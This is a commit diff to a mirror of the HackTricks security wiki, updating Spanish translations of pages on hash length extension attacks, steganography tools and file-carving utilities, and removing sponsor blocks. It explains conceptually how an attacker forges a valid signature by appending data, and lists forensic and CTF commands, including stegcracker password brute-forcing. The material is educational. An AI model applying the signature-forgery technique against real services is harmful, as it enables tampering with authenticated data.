mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['README.md', 'crypto-and-stego/hash-length-extension-attack.
This commit is contained in:
parent
8af21bf804
commit
767c66e2e3
86 changed files with 1045 additions and 2632 deletions
42
README.md
42
README.md
|
@ -42,7 +42,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
|
|||
|
||||
<figure><img src=".gitbook/assets/image (47).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Intigriti** es la **plataforma de hacking ético y bug bounty número 1 de Europa.**
|
||||
**Intigriti** es la **plataforma de hacking ético y bug bounty #1 de Europa.**
|
||||
|
||||
**Consejo de bug bounty**: **regístrate** en **Intigriti**, una plataforma premium de **bug bounty creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
|
||||
|
||||
|
@ -55,7 +55,7 @@ Puedes consultar su **blog** en [**https://blog.stmcyber.com**](https://blog.stm
|
|||
<figure><img src=".gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente impulsados por las herramientas comunitarias **más avanzadas** del mundo.
|
||||
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente, impulsados por las herramientas comunitarias **más avanzadas** del mundo.
|
||||
|
||||
Obtén acceso hoy:
|
||||
|
||||
|
@ -71,7 +71,7 @@ Obtén acceso hoy:
|
|||
|
||||
* **Perspectivas de Hacking:** Participa en contenido que profundiza en la emoción y los desafíos del hacking
|
||||
* **Noticias de Hackeo en Tiempo Real:** Mantente al día con el mundo del hacking de ritmo rápido a través de noticias e información en tiempo real
|
||||
* **Últimos Anuncios:** Mantente informado sobre los nuevos bug bounties que se lanzan y actualizaciones cruciales de la plataforma
|
||||
* **Últimos Anuncios:** Mantente informado sobre las nuevas recompensas de bug bounty que se lanzan y actualizaciones cruciales de la plataforma
|
||||
|
||||
**Únete a nosotros en** [**Discord**](https://discord.com/invite/N3FrSbmwdy) y comienza a colaborar con los mejores hackers hoy!
|
||||
|
||||
|
@ -87,36 +87,13 @@ Obtén acceso hoy:
|
|||
|
||||
***
|
||||
|
||||
### [SerpApi](https://serpapi.com/)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (5) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
SerpApi ofrece APIs rápidas y fáciles en tiempo real para **acceder a los resultados de motores de búsqueda**. Ellos extraen datos de motores de búsqueda, manejan proxies, resuelven captchas y analizan todos los datos estructurados ricos por ti.
|
||||
|
||||
Una suscripción a uno de los planes de SerpApi incluye acceso a más de 50 APIs diferentes para extraer datos de diferentes motores de búsqueda, incluyendo Google, Bing, Baidu, Yahoo, Yandex, y más.\
|
||||
A diferencia de otros proveedores, **SerpApi no solo extrae resultados orgánicos**. Las respuestas de SerpApi incluyen consistentemente todos los anuncios, imágenes y videos en línea, gráficos de conocimiento y otros elementos y características presentes en los resultados de búsqueda.
|
||||
|
||||
Los clientes actuales de SerpApi incluyen **Apple, Shopify y GrubHub**.\
|
||||
Para más información, consulta su [**blog**](https://serpapi.com/blog/)**,** o prueba un ejemplo en su [**playground**](https://serpapi.com/playground)**.**\
|
||||
Puedes **crear una cuenta gratuita** [**aquí**](https://serpapi.com/users/sign\_up)**.**
|
||||
|
||||
***
|
||||
|
||||
### [Try Hard Security Group](https://discord.gg/tryhardsecurity)
|
||||
|
||||
<figure><img src=".gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### [WebSec](https://websec.nl/)
|
||||
|
||||
<figure><img src=".gitbook/assets/websec (1).svg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WebSec**](https://websec.nl) es una empresa profesional de ciberseguridad con sede en **Ámsterdam** que ayuda a **proteger** negocios **en todo el mundo** contra las últimas amenazas de ciberseguridad al proporcionar **servicios de seguridad ofensiva** con un enfoque **moderno**.
|
||||
|
||||
WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías de Seguridad**, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Explotaciones, Externalización de Expertos en Seguridad y mucho más.
|
||||
WebSec es una **empresa de seguridad todo en uno**, lo que significa que hacen de todo; Pentesting, **Auditorías** de Seguridad, Capacitación en Conciencia, Campañas de Phishing, Revisión de Código, Desarrollo de Explotaciones, Externalización de Expertos en Seguridad y mucho más.
|
||||
|
||||
Otra cosa interesante sobre WebSec es que, a diferencia del promedio de la industria, WebSec es **muy confiado en sus habilidades**, hasta el punto de que **garantizan los mejores resultados de calidad**, se indica en su sitio web "**Si no podemos hackearlo, ¡no pagas!**". Para más información, echa un vistazo a su [**sitio web**](https://websec.nl/en/) y [**blog**](https://websec.nl/blog/)!
|
||||
|
||||
|
@ -124,17 +101,6 @@ Además de lo anterior, WebSec también es un **apoyo comprometido de HackTricks
|
|||
|
||||
{% embed url="https://www.youtube.com/watch?v=Zq2JycGDCPM" %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src=".gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malware de robo**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir los robos de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes consultar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
## Licencia y Descargo de Responsabilidad
|
||||
|
||||
|
|
|
@ -15,36 +15,23 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Resumen del ataque
|
||||
|
||||
Imagina un servidor que está **firmando** algunos **datos** al **agregar** un **secreto** a algunos datos de texto claro conocidos y luego hasheando esos datos. Si sabes:
|
||||
|
||||
* **La longitud del secreto** (esto también se puede forzar a partir de un rango de longitud dado)
|
||||
* **La longitud del secreto** (esto también se puede forzar mediante un rango de longitud dado)
|
||||
* **Los datos de texto claro**
|
||||
* **El algoritmo (y es vulnerable a este ataque)**
|
||||
* **El padding es conocido**
|
||||
* Usualmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, esto también se cumple
|
||||
* Usualmente se usa uno por defecto, así que si se cumplen los otros 3 requisitos, este también lo es
|
||||
* El padding varía dependiendo de la longitud del secreto + datos, por eso se necesita la longitud del secreto
|
||||
|
||||
Entonces, es posible que un **atacante** **agregue** **datos** y **genere** una **firma** válida para los **datos anteriores + datos agregados**.
|
||||
|
||||
### ¿Cómo?
|
||||
|
||||
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir** del **hash** (estado) **creado previamente**, **agregan el siguiente bloque de datos** y **lo hashean**.
|
||||
Básicamente, los algoritmos vulnerables generan los hashes primero **hasheando un bloque de datos**, y luego, **a partir de** la **hash** (estado) **creada previamente**, **agregan el siguiente bloque de datos** y **lo hashean**.
|
||||
|
||||
Entonces, imagina que el secreto es "secreto" y los datos son "datos", el MD5 de "secretodata" es 6036708eba0d11f6ef52ad44e8b74d5b.\
|
||||
Si un atacante quiere agregar la cadena "agregar", puede:
|
||||
|
@ -62,17 +49,7 @@ Si un atacante quiere agregar la cadena "agregar", puede:
|
|||
|
||||
Puedes encontrar este ataque bien explicado en [https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks](https://blog.skullsecurity.org/2012/everything-you-need-to-know-about-hash-length-extension-attacks)
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) es un motor de búsqueda alimentado por la **dark-web** que ofrece funcionalidades **gratuitas** para verificar si una empresa o sus clientes han sido **comprometidos** por **malwares robadores**.
|
||||
|
||||
Su objetivo principal de WhiteIntel es combatir la toma de cuentas y los ataques de ransomware resultantes de malware que roba información.
|
||||
|
||||
Puedes visitar su sitio web y probar su motor de forma **gratuita** en:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,29 +1,21 @@
|
|||
# Trucos de Estego
|
||||
# Stego Tricks
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## **Extrayendo Datos de Archivos**
|
||||
## **Extracción de Datos de Archivos**
|
||||
|
||||
### **Binwalk**
|
||||
|
||||
|
@ -35,19 +27,19 @@ binwalk --dd ".*" file # Extracts all data
|
|||
```
|
||||
### **Foremost**
|
||||
|
||||
Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Instalado a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost).
|
||||
Recupera archivos basados en sus encabezados y pies de página, útil para imágenes png. Se instala a través de `apt` con su fuente en [GitHub](https://github.com/korczis/foremost).
|
||||
```bash
|
||||
foremost -i file # Extracts data
|
||||
```
|
||||
### **Exiftool**
|
||||
|
||||
Ayuda a ver los metadatos de un archivo, disponible [aquí](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
Ayuda a ver los metadatos del archivo, disponible [aquí](https://www.sno.phy.queensu.ca/\~phil/exiftool/).
|
||||
```bash
|
||||
exiftool file # Shows the metadata
|
||||
```
|
||||
### **Exiv2**
|
||||
|
||||
Similar to exiftool, for viewing metadata. Instalable via `apt`, fuente en [GitHub](https://github.com/Exiv2/exiv2), y tiene un [sitio web oficial](http://www.exiv2.org/).
|
||||
Similar a exiftool, para la visualización de metadatos. Instalado a través de `apt`, código fuente en [GitHub](https://github.com/Exiv2/exiv2), y tiene un [sitio web oficial](http://www.exiv2.org/).
|
||||
```bash
|
||||
exiv2 file # Shows the metadata
|
||||
```
|
||||
|
@ -57,7 +49,7 @@ Identifica el tipo de archivo con el que estás tratando.
|
|||
|
||||
### **Cadenas**
|
||||
|
||||
Extrae cadenas legibles de archivos, utilizando varios ajustes de codificación para filtrar la salida.
|
||||
Extrae cadenas legibles de archivos, utilizando varias configuraciones de codificación para filtrar la salida.
|
||||
```bash
|
||||
strings -n 6 file # Extracts strings with a minimum length of 6
|
||||
strings -n 6 file | head -n 20 # First 20 strings
|
||||
|
@ -85,94 +77,96 @@ Los caracteres invisibles en espacios aparentemente vacíos pueden ocultar infor
|
|||
|
||||
### **Identificación de Detalles de Imágenes con GraphicMagick**
|
||||
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) sirve para determinar tipos de archivos de imagen e identificar posibles corrupciones. Ejecuta el siguiente comando para inspeccionar una imagen:
|
||||
[GraphicMagick](https://imagemagick.org/script/download.php) sirve para determinar los tipos de archivos de imagen e identificar posibles corrupciones. Ejecuta el siguiente comando para inspeccionar una imagen:
|
||||
```bash
|
||||
./magick identify -verbose stego.jpg
|
||||
```
|
||||
Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ser útil:
|
||||
Para intentar reparar una imagen dañada, agregar un comentario de metadatos podría ayudar:
|
||||
```bash
|
||||
./magick mogrify -set comment 'Extraneous bytes removed' stego.jpg
|
||||
```
|
||||
### **Esteganografía con Steghide para Ocultar Datos**
|
||||
### **Steghide para la Ocultación de Datos**
|
||||
|
||||
Steghide facilita ocultar datos dentro de archivos `JPEG, BMP, WAV y AU`, capaz de incrustar y extraer datos encriptados. La instalación es sencilla utilizando `apt`, y su [código fuente está disponible en GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
Steghide facilita ocultar datos dentro de archivos `JPEG, BMP, WAV y AU`, capaz de incrustar y extraer datos cifrados. La instalación es sencilla usando `apt`, y su [código fuente está disponible en GitHub](https://github.com/StefanoDeVuono/steghide).
|
||||
|
||||
**Comandos:**
|
||||
|
||||
* `steghide info archivo` revela si un archivo contiene datos ocultos.
|
||||
* `steghide extract -sf archivo [--contraseña contraseña]` extrae los datos ocultos, contraseña opcional.
|
||||
* `steghide info file` revela si un archivo contiene datos ocultos.
|
||||
* `steghide extract -sf file [--passphrase password]` extrae los datos ocultos, la contraseña es opcional.
|
||||
|
||||
Para extracción basada en web, visita [este sitio web](https://futureboy.us/stegano/decinput.html).
|
||||
Para la extracción basada en la web, visita [este sitio web](https://futureboy.us/stegano/decinput.html).
|
||||
|
||||
**Ataque de Fuerza Bruta con Stegcracker:**
|
||||
|
||||
* Para intentar descifrar contraseñas en Steghide, utiliza [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera:
|
||||
* Para intentar romper la contraseña en Steghide, usa [stegcracker](https://github.com/Paradoxis/StegCracker.git) de la siguiente manera:
|
||||
```bash
|
||||
stegcracker <file> [<wordlist>]
|
||||
```
|
||||
### **zsteg para archivos PNG y BMP**
|
||||
|
||||
zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [fuente en GitHub](https://github.com/zed-0xff/zsteg).
|
||||
zsteg se especializa en descubrir datos ocultos en archivos PNG y BMP. La instalación se realiza a través de `gem install zsteg`, con su [código fuente en GitHub](https://github.com/zed-0xff/zsteg).
|
||||
|
||||
**Comandos:**
|
||||
|
||||
* `zsteg -a archivo` aplica todos los métodos de detección en un archivo.
|
||||
* `zsteg -E archivo` especifica un payload para la extracción de datos.
|
||||
* `zsteg -a file` aplica todos los métodos de detección en un archivo.
|
||||
* `zsteg -E file` especifica una carga útil para la extracción de datos.
|
||||
|
||||
### **StegoVeritas y Stegsolve**
|
||||
|
||||
**stegoVeritas** verifica metadatos, realiza transformaciones de imagen y aplica fuerza bruta LSB, entre otras características. Utiliza `stegoveritas.py -h` para obtener una lista completa de opciones y `stegoveritas.py stego.jpg` para ejecutar todas las verificaciones.
|
||||
**stegoVeritas** verifica metadatos, realiza transformaciones de imágenes y aplica fuerza bruta LSB, entre otras características. Usa `stegoveritas.py -h` para una lista completa de opciones y `stegoveritas.py stego.jpg` para ejecutar todas las verificaciones.
|
||||
|
||||
**Stegsolve** aplica varios filtros de color para revelar textos ocultos o mensajes dentro de imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
**Stegsolve** aplica varios filtros de color para revelar textos o mensajes ocultos dentro de las imágenes. Está disponible en [GitHub](https://github.com/eugenekolo/sec-tools/tree/master/stego/stegsolve/stegsolve).
|
||||
|
||||
### **FFT para la detección de contenido oculto**
|
||||
### **FFT para detección de contenido oculto**
|
||||
|
||||
Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Recursos útiles incluyen:
|
||||
Las técnicas de Transformada Rápida de Fourier (FFT) pueden revelar contenido oculto en imágenes. Los recursos útiles incluyen:
|
||||
|
||||
* [Demo de EPFL](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [EPFL Demo](http://bigwww.epfl.ch/demo/ip/demos/FFT/)
|
||||
* [Ejectamenta](https://www.ejectamenta.com/Fourifier-fullscreen/)
|
||||
* [FFTStegPic en GitHub](https://github.com/0xcomposure/FFTStegPic)
|
||||
|
||||
### **Stegpy para archivos de audio e imagen**
|
||||
|
||||
Stegpy permite incrustar información en archivos de imagen y audio, admitiendo formatos como PNG, BMP, GIF, WebP y WAV. Está disponible en [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
Stegpy permite incrustar información en archivos de imagen y audio, soportando formatos como PNG, BMP, GIF, WebP y WAV. Está disponible en [GitHub](https://github.com/dhsdshdhk/stegpy).
|
||||
|
||||
### **Pngcheck para análisis de archivos PNG**
|
||||
|
||||
Para analizar archivos PNG o validar su autenticidad, usa:
|
||||
```bash
|
||||
apt-get install pngcheck
|
||||
pngcheck stego.png
|
||||
```
|
||||
### **Herramientas adicionales para análisis de imágenes**
|
||||
### **Herramientas Adicionales para Análisis de Imágenes**
|
||||
|
||||
Para una exploración más profunda, considera visitar:
|
||||
Para una exploración adicional, considera visitar:
|
||||
|
||||
* [Magic Eye Solver](http://magiceye.ecksdee.co.uk/)
|
||||
* [Análisis de Nivel de Error de Imagen](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Análisis del Nivel de Error de Imagen](https://29a.ch/sandbox/2012/imageerrorlevelanalysis/)
|
||||
* [Outguess](https://github.com/resurrecting-open-source-projects/outguess)
|
||||
* [OpenStego](https://www.openstego.com/)
|
||||
* [DIIT](https://diit.sourceforge.net/)
|
||||
|
||||
## **Extracción de datos de audios**
|
||||
## **Extracción de Datos de Audios**
|
||||
|
||||
La **esteganografía de audio** ofrece un método único para ocultar información dentro de archivos de sonido. Se utilizan diferentes herramientas para incrustar o recuperar contenido oculto.
|
||||
**La esteganografía de audio** ofrece un método único para ocultar información dentro de archivos de sonido. Se utilizan diferentes herramientas para incrustar o recuperar contenido oculto.
|
||||
|
||||
### **Steghide (JPEG, BMP, WAV, AU)**
|
||||
|
||||
Steghide es una herramienta versátil diseñada para ocultar datos en archivos JPEG, BMP, WAV y AU. Se proporcionan instrucciones detalladas en la [documentación de trucos de estego](stego-tricks.md#steghide).
|
||||
Steghide es una herramienta versátil diseñada para ocultar datos en archivos JPEG, BMP, WAV y AU. Se proporcionan instrucciones detalladas en la [documentación de trucos de esteganografía](stego-tricks.md#steghide).
|
||||
|
||||
### **Stegpy (PNG, BMP, GIF, WebP, WAV)**
|
||||
|
||||
Esta herramienta es compatible con una variedad de formatos, incluidos PNG, BMP, GIF, WebP y WAV. Para obtener más información, consulta la [sección de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
Esta herramienta es compatible con una variedad de formatos, incluyendo PNG, BMP, GIF, WebP y WAV. Para más información, consulta la [sección de Stegpy](stego-tricks.md#stegpy-png-bmp-gif-webp-wav).
|
||||
|
||||
### **ffmpeg**
|
||||
|
||||
ffmpeg es crucial para evaluar la integridad de archivos de audio, resaltando información detallada y señalando cualquier discrepancia.
|
||||
ffmpeg es crucial para evaluar la integridad de los archivos de audio, destacando información detallada y señalando cualquier discrepancia.
|
||||
```bash
|
||||
ffmpeg -v info -i stego.mp3 -f null -
|
||||
```
|
||||
### **WavSteg (WAV)**
|
||||
|
||||
WavSteg destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Está disponible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen:
|
||||
WavSteg se destaca en ocultar y extraer datos dentro de archivos WAV utilizando la estrategia del bit menos significativo. Está disponible en [GitHub](https://github.com/ragibson/Steganography#WavSteg). Los comandos incluyen:
|
||||
```bash
|
||||
python3 WavSteg.py -r -b 1 -s soundfile -o outputfile
|
||||
|
||||
|
@ -180,25 +174,27 @@ python3 WavSteg.py -r -b 2 -s soundfile -o outputfile
|
|||
```
|
||||
### **Deepsound**
|
||||
|
||||
Deepsound permite el cifrado y la detección de información dentro de archivos de sonido utilizando AES-256. Puede descargarse desde [la página oficial](http://jpinsoft.net/deepsound/download.aspx).
|
||||
Deepsound permite la encriptación y detección de información dentro de archivos de sonido utilizando AES-256. Se puede descargar desde [la página oficial](http://jpinsoft.net/deepsound/download.aspx).
|
||||
|
||||
### **Sonic Visualizer**
|
||||
|
||||
Una herramienta invaluable para la inspección visual y analítica de archivos de audio, Sonic Visualizer puede revelar elementos ocultos indetectables por otros medios. Visita el [sitio web oficial](https://www.sonicvisualiser.org/) para más información.
|
||||
|
||||
### **Tonos DTMF - Tonos de marcación**
|
||||
### **Tonos DTMF - Tonos de Marcado**
|
||||
|
||||
La detección de tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [este detector de DTMF](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
Detectar tonos DTMF en archivos de audio se puede lograr a través de herramientas en línea como [este detector DTMF](https://unframework.github.io/dtmf-detect/) y [DialABC](http://dialabc.com/sound/detect/index.html).
|
||||
|
||||
## **Otras Técnicas**
|
||||
|
||||
### **Longitud Binaria SQRT - Código QR**
|
||||
|
||||
Los datos binarios que al cuadrar dan un número entero podrían representar un código QR. Utiliza este fragmento para verificar:
|
||||
Los datos binarios que se elevan al cuadrado para convertirse en un número entero podrían representar un código QR. Usa este fragmento para verificar:
|
||||
```python
|
||||
import math
|
||||
math.sqrt(2500) #50
|
||||
```
|
||||
Para la conversión de binario a imagen, consulta [dcode](https://www.dcode.fr/binary-image). Para leer códigos QR, utiliza [este lector de códigos de barras en línea](https://online-barcode-reader.inliteresearch.com/).
|
||||
|
||||
### **Traducción de Braille**
|
||||
|
||||
Para traducir Braille, el [Traductor de Braille de Branah](https://www.branah.com/braille-translator) es un excelente recurso.
|
||||
|
@ -208,12 +204,6 @@ Para traducir Braille, el [Traductor de Braille de Branah](https://www.branah.co
|
|||
* [**https://0xrick.github.io/lists/stego/**](https://0xrick.github.io/lists/stego/)
|
||||
* [**https://github.com/DominicBreuker/stego-toolkit**](https://github.com/DominicBreuker/stego-toolkit)
|
||||
|
||||
**Grupo de Seguridad Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
@ -222,9 +212,9 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
|
|||
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Carving & Recovery tools
|
||||
|
||||
More tools in [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
Más herramientas en [https://github.com/Claudio-C/awesome-datarecovery](https://github.com/Claudio-C/awesome-datarecovery)
|
||||
|
||||
### Autopsy
|
||||
|
||||
|
@ -33,9 +25,9 @@ La herramienta más común utilizada en forense para extraer archivos de imágen
|
|||
|
||||
### Binwalk <a href="#binwalk" id="binwalk"></a>
|
||||
|
||||
**Binwalk** es una herramienta para analizar archivos binarios y encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
**Binwalk** es una herramienta para analizar archivos binarios para encontrar contenido incrustado. Se puede instalar a través de `apt` y su código fuente está en [GitHub](https://github.com/ReFirmLabs/binwalk).
|
||||
|
||||
**Useful commands**:
|
||||
**Comandos útiles**:
|
||||
```bash
|
||||
sudo apt install binwalk #Insllation
|
||||
binwalk file #Displays the embedded data in the given file
|
||||
|
@ -44,7 +36,7 @@ binwalk --dd ".*" file #Displays and extracts all files from the given file
|
|||
```
|
||||
### Foremost
|
||||
|
||||
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descomenta esos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
|
||||
Otra herramienta común para encontrar archivos ocultos es **foremost**. Puedes encontrar el archivo de configuración de foremost en `/etc/foremost.conf`. Si solo deseas buscar algunos archivos específicos, descoméntalos. Si no descomentas nada, foremost buscará sus tipos de archivo configurados por defecto.
|
||||
```bash
|
||||
sudo apt-get install foremost
|
||||
foremost -v -i file.img -o output
|
||||
|
@ -59,7 +51,7 @@ scalpel file.img -o output
|
|||
```
|
||||
### Bulk Extractor
|
||||
|
||||
Esta herramienta viene dentro de kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
Esta herramienta viene incluida en Kali, pero puedes encontrarla aquí: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
|
||||
|
||||
Esta herramienta puede escanear una imagen y **extraer pcaps** dentro de ella, **información de red (URLs, dominios, IPs, MACs, correos)** y más **archivos**. Solo tienes que hacer:
|
||||
```
|
||||
|
@ -96,7 +88,7 @@ BinVis es un gran **punto de partida para familiarizarse con un objetivo descono
|
|||
